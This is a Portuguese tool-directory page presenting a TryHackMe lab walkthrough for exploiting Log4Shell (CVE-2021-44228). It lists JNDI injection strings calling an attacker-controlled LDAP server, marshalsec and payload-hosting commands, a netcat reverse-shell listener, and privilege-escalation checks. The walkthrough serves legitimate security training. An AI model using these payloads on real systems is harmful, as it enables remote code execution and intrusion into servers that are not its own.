Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Solar-exploiting-log-4j — Passo a passo do TryHackMe para explorar a vulnerabilidade Log4Shell (CVE-2021-44228) para alcançar execução remota de código e capturar flags. | Kitploit
Ferramentas/GitHubGitHub/lathika-3006/solar-exploiting-log-4j
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoEngenharia ReversaExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHublathika-3006/solar-exploiting-log-4j

Solar-exploiting-log-4j

Passo a passo do TryHackMe para explorar a vulnerabilidade Log4Shell (CVE-2021-44228) para alcançar execução remota de código e capturar flags.

Ver Repositório
211há 5 mesesAinda não revisado

🔥 Solar Exploiting Log4j - Passo a passo do TryHackMe

📌 Sala: Solar Exploiting Log4j

Plataforma: TryHackMe Dificuldade: Média Tópico: Log4Shell (Vulnerabilidade Log4j)


🧠 Objetivo

Explore a vulnerabilidade Log4j (CVE-2021-44228) para obter execução remota de código e capturar flags.


🛠️ Ferramentas Utilizadas

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Servidor HTTP Python

🌐 Passo 1: Reconhecimento

🔍 Varredura do Alvo

root@kitploit:~
nmap -sC -sV <TARGET_IP>

📌 Descobertas

  • Portas abertas: 80 (HTTP), outras dependendo da sala
  • Aplicação web executando backend baseado em Java

🌐 Passo 2: Enumeração Web

  • Acesse a aplicação web no navegador
  • Interaja com os campos de entrada (login/busca/cabeçalhos)
  • Capture a requisição usando o Burp Suite

💥 Passo 3: Identifique a Vulnerabilidade Log4j

A vulnerabilidade Log4j permite injeção JNDI:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}

Se a entrada for registrada nos logs → a vulnerabilidade existe.


⚙️ Passo 4: Configurar Listener

Iniciar Netcat

root@kitploit:~
nc -lvnp 4444

Iniciar Servidor LDAP Malicioso (Exemplo)

root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Execute o servidor LDAP:

root@kitploit:~
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 Passo 5: Hospedar Payload

root@kitploit:~
python3 -m http.server 8000

Crie a classe Java maliciosa (Exploit.class)


🚀 Passo 6: Disparar o Exploit

Injete o payload no campo vulnerável:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Use cabeçalhos como:

  • User-Agent
  • X-Api-Version

🖥️ Passo 7: Obter Reverse Shell

Uma vez acionado:

  • O alvo se conecta de volta ao listener do Netcat
  • Você obtém acesso ao shell

🔐 Passo 8: Escalação de Privilégios (se necessário)

Verifique:

root@kitploit:~
sudo -l

Procure por:

  • Binários SUID mal configurados
  • Arquivos graváveis
  • Cron jobs

🚩 Passo 9: Capturar Flags

root@kitploit:~
find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Conceitos-Chave Aprendidos

  • Log4Shell (CVE-2021-44228)
  • Injeção JNDI
  • Execução Remota de Código (RCE)
  • Reverse Shell
  • Exploração Web
Baixar ferramenta